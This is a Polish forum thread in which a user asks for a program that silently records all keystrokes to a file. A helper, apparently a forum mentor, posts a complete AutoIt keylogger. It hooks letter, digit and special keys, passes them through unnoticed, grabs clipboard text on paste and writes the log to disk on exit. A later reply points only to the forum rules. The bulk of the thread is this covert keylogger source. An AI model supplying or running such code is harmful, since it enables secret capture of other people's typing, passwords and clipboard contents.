[PROBLEM]Zapisywacz

[Sawickas]

Poszukuje kodu aplikacji który podczas działania w tle, będzie zapisywał do pliku log.txt wszystkie wciśniete klawisze klawiatury. Proszę ja oraz moi rodzice

[Keniger]

^{Coś w ten deseń ? :}

Dim $log = "heheszki.txt"

HotKeySet ( "a" , "_a" );1
HotKeySet ( "b" , "_b" );2
HotKeySet ( "c" , "_c" );3
HotKeySet ( "d" , "_d" );4
HotKeySet ( "e" , "_e" );5
HotKeySet ( "f" , "_f" );6
HotKeySet ( "g" , "_g" );7
HotKeySet ( "h" , "_h" );8
HotKeySet ( "i" , "_i" );9
HotKeySet ( "j" , "_j" );10
HotKeySet ( "k" , "_k" );11
HotKeySet ( "l" , "_l" );12
HotKeySet ( "m" , "_m" );13
HotKeySet ( "n" , "_n" );14
HotKeySet ( "o" , "_o" );15
HotKeySet ( "p" , "_p" );16
HotKeySet ( "q" , "_q" );17
HotKeySet ( "r" , "_r" );18
HotKeySet ( "s" , "_s" );19
HotKeySet ( "t" , "_t" );20
HotKeySet ( "u" , "_u" );21
HotKeySet ( "v" , "_v" );22
HotKeySet ( "w" , "_w" );23
HotKeySet ( "x" , "_x" );24
HotKeySet ( "y" , "_y" );25
HotKeySet ( "z" , "_z" );26

HotKeySet ( "0" , "_0" );27
HotKeySet ( "1" , "_1" );28
HotKeySet ( "2" , "_2" );29
HotKeySet ( "3" , "_3" );30
HotKeySet ( "4" , "_4" );31
HotKeySet ( "5" , "_5" );32
HotKeySet ( "6" , "_6" );33
HotKeySet ( "7" , "_7" );34
HotKeySet ( "8" , "_8" );35
HotKeySet ( "9" , "_9" );36
HotKeySet ( "{NUMPAD0}" , "_0" );37
HotKeySet ( "{NUMPAD1}" , "_1" );38
HotKeySet ( "{NUMPAD2}" , "_2" );39
HotKeySet ( "{NUMPAD3}" , "_3" );40
HotKeySet ( "{NUMPAD4}" , "_4" );41
HotKeySet ( "{NUMPAD5}" , "_5" );42
HotKeySet ( "{NUMPAD6}" , "_6" );43
HotKeySet ( "{NUMPAD7}" , "_7" );44
HotKeySet ( "{NUMPAD8}" , "_8" );45
HotKeySet ( "{NUMPAD9}" , "_9" );46



HotKeySet ( "{esc}" , "_escape"              );47
HotKeySet ( "{enter}" , "_enter"             );48
HotKeySet ( "{del}" , "_delete"              );49
HotKeySet ( "{backspace}" , "_backspace"     );50
HotKeySet ( "{home}" , "_home"               );51
HotKeySet ( "{pgup}" , "_pageup"             );52
HotKeySet ( "{pgdn}" , "_pagedown"           );53
HotKeySet ( "{printscreen}" , "_printscreen" );54
HotKeySet ( "{pause}" , "_pause"             );55
HotKeySet ( "{tab}" , "_tab"                 );56

HotKeySet ( "?" , "_que"                     );57
HotKeySet ( "." , "_dot"                     );58
HotKeySet ( "," , "_com"                     );59

HotKeySet ( "{space}" , "_space"             );60
HotKeySet ( "^v" , "_paste"                  );61

HotKeySet ( "!^{esc}" , "quit"               );62 alt-ctrl-esc

Send("{CAPSLOCK off}")
While 1
sleep(365*24*60*60*1000);1 year 
WEnd

Func quit()
exit
endfunc

Func _a()
HotKeySet ( "a")
send("a")
$log = $log & "a"
HotKeySet ( "a" , "_a" )
EndFunc

Func _b()
HotKeySet ( "b")
send("b")
$log = $log & "b"
HotKeySet ( "b" , "_b" )
EndFunc

Func _c()
HotKeySet ( "c")
send("c")
$log = $log & "c"
HotKeySet ( "c" , "_c" )
EndFunc

Func _d()
HotKeySet ( "d")
send("d")
$log = $log & "d"
HotKeySet ( "d" , "_d" )
EndFunc

Func _e()
HotKeySet ( "e")
send("e")
$log = $log & "e"
HotKeySet ( "e" , "_e" )
EndFunc

Func _f()
HotKeySet ( "f")
send("f")
$log = $log & "f"
HotKeySet ( "f" , "_f" )
EndFunc

Func _g()
HotKeySet ( "g")
send("g")
$log = $log & "g"
HotKeySet ( "g" , "_g" )
EndFunc

Func _h()
HotKeySet ( "h")
send("h")
$log = $log & "h"
HotKeySet ( "h" , "_h" )
EndFunc

Func _i()
HotKeySet ( "i")
send("i")
$log = $log & "i"
HotKeySet ( "i" , "_i" )
EndFunc

Func _j()
HotKeySet ( "j")
send("j")
$log = $log & "j"
HotKeySet ( "j" , "_j" )
EndFunc

Func _k()
HotKeySet ( "k")
send("k")
$log = $log & "k"
HotKeySet ( "k" , "_k" )
EndFunc

Func _l()
HotKeySet ( "l")
send("l")
$log = $log & "l"
HotKeySet ( "l" , "_l" )
EndFunc

Func _m()
HotKeySet ( "m")
send("m")
$log = $log & "m"
HotKeySet ( "m" , "_m" )
EndFunc

Func _n()
HotKeySet ( "n")
send("n")
$log = $log & "n"
HotKeySet ( "n" , "_n" )
EndFunc

Func _o()
HotKeySet ( "o")
send("o")
$log = $log & "o"
HotKeySet ( "o" , "_o" )
EndFunc

Func _p()
HotKeySet ( "p")
send("p")
$log = $log & "p"
HotKeySet ( "p" , "_p" )
EndFunc

Func _q()
HotKeySet ( "q")
send("q")
$log = $log & "q"
HotKeySet ( "q" , "_q" )
EndFunc

Func _r()
HotKeySet ( "r")
send("r")
$log = $log & "r"
HotKeySet ( "r" , "_r" )
EndFunc

Func _s()
HotKeySet ( "s")
send("s")
$log = $log & "s"
HotKeySet ( "s" , "_s" )
EndFunc

Func _t()
HotKeySet ( "t")
send("t")
$log = $log & "t"
HotKeySet ( "t" , "_t" )
EndFunc

Func _u()
HotKeySet ( "u")
send("u")
$log = $log & "u"
HotKeySet ( "u" , "_u" )
EndFunc

Func _v()
HotKeySet ( "v")
send("v")
$log = $log & "v"
HotKeySet ( "v" , "_v" )
EndFunc

Func _w()
HotKeySet ( "w")
send("w")
$log = $log & "w"
HotKeySet ( "w" , "_w" )
EndFunc

Func _x()
HotKeySet ( "x")
send("x")
$log = $log & "x"
HotKeySet ( "x" , "_x" )
EndFunc

Func _y()
HotKeySet ( "y")
send("y")
$log = $log & "y"
HotKeySet ( "y" , "_y" )
EndFunc

Func _z()
HotKeySet ( "z")
send("z")
$log = $log & "z"
HotKeySet ( "z" , "_z" )
EndFunc

Func _0()
HotKeySet ( "0")
send("0")
$log = $log & "0"
HotKeySet ( "0" , "_0" )
EndFunc

Func _1()
HotKeySet ( "1")
send("1")
$log = $log & "1"
HotKeySet ( "1" , "_1" )
EndFunc

Func _2()
HotKeySet ( "2")
send("2")
$log = $log & "2"
HotKeySet ( "2" , "_2" )
EndFunc

Func _3()
HotKeySet ( "3")
send("3")
$log = $log & "3"
HotKeySet ( "3" , "_3" )
EndFunc

Func _4()
HotKeySet ( "4")
send("4")
$log = $log & "4"
HotKeySet ( "4" , "_4" )
EndFunc

Func _5()
HotKeySet ( "5")
send("5")
$log = $log & "5"
HotKeySet ( "5" , "_5" )
EndFunc

Func _6()
HotKeySet ( "6")
send("6")
$log = $log & "6"
HotKeySet ( "6" , "_6" )
EndFunc

Func _7()
HotKeySet ( "7")
send("7")
$log = $log & "7"
HotKeySet ( "7" , "_7" )
EndFunc

Func _8()
HotKeySet ( "8")
send("8")
$log = $log & "8"
HotKeySet ( "8" , "_8" )
EndFunc

Func _9()
HotKeySet ( "9")
send("9")
$log = $log & "9"
HotKeySet ( "9" , "_9" )
EndFunc

Func _escape()
HotKeySet ( "{esc}")
send("{esc}")
$log = $log & "{esc}"
HotKeySet ( "{esc}" , "_escape" )
EndFunc

Func _enter()
HotKeySet ( "{enter}")
send("{enter}")
$log = $log & @CRLF
HotKeySet ( "{enter}" , "_enter" )
EndFunc

Func _delete()
HotKeySet ( "{del}")
send("{del}")
$log = $log & "{del}"
HotKeySet ( "{del}" , "_delete" )
EndFunc

Func _backspace()
HotKeySet ( "{backspace}")
send("{backspace}")
$log = $log & "{backspace}"
HotKeySet ( "{backspace}" , "_backspace" )
EndFunc

Func _home()
HotKeySet ( "{home}")
send("{home}")
$log = $log & "{home}"
HotKeySet ( "{home}" , "_home" )
EndFunc

Func _pageup()
HotKeySet ( "{pgup}")
send("{pgup}")
$log = $log & "{pgup}"
HotKeySet ( "{pgup}" , "_pageup" )
EndFunc

Func _pagedown()
HotKeySet ( "{pgdn}")
send("{pgdn}")
$log = $log & "{pgdn}"
HotKeySet ( "{pgdn}" , "_pagedown" )
EndFunc

Func _printscreen()
HotKeySet ( "{printscreen}")
send("{printscreen}")
$log = $log & "{printscreen}"
HotKeySet ( "{printscreen}" , "_printscreen" )
EndFunc

Func _pause()
HotKeySet ( "{pause}")
send("{pause}")
$log = $log & "{pause}"
HotKeySet ( "{pause}" , "_pause" )
EndFunc

Func _tab()
HotKeySet ( "{tab}")
send("{tab}")
$log = $log & "{tab}"
HotKeySet ( "{tab}" , "_tab" )
EndFunc



#cs
Func _add()
HotKeySet ( "{+}")
send("{+}")
$log = $log & "+"
HotKeySet ( "{+}" , "_add" )
EndFunc

Func _sub()
HotKeySet ( "{-}")
send("{-}")
$log = $log & "-"
HotKeySet ( "{-}" , "_sub" )
EndFunc

Func _div()
HotKeySet ( "{/}")
send("{/}")
$log = $log & "/"
HotKeySet ( "{/}" , "_div" )
EndFunc

Func _mul()
HotKeySet ( "{*}")
send("{*}")
$log = $log & "*"
HotKeySet ( "{*}" , "_mul" )
EndFunc

Func _exl()
HotKeySet ( "{!}")
send("{!}")
$log = $log & "!"
HotKeySet ( "{!}" , "_exl" )
EndFunc
#ce



Func _que()
HotKeySet ( "?")
send("?")
$log = $log & "?"
HotKeySet ( "?" , "_que" )
EndFunc

Func _dot()
HotKeySet ( ".")
send(".")
$log = $log & "."
HotKeySet ( "." , "_dot" )
EndFunc

Func _com()
HotKeySet ( ",")
send(",")
$log = $log & ","
HotKeySet ( "," , "_dot" )
EndFunc

Func _space()
HotKeySet ( "{space}")
send("{space}")
$log = $log & " "
HotKeySet ( "{space}" , "_space" )
EndFunc

Func _paste()
HotKeySet ( "^v")
send("^v")
$log = $log & " {Pasted}: " & ClipGet()
HotKeySet ( "^v" , "_paste" )
EndFunc




Func OnAutoItExit()
$file = FileOpen("log.log", 1)
FileWrite($file, $log)
FileClose($file)
EndFunc

[Sawickas]

Tak, zobaczyłem tutek i już wiem jak zrobić. Dzięki. Zamykam.

[jackraymund]

jesteś mentorem, więc naucz się też czytać regulaminy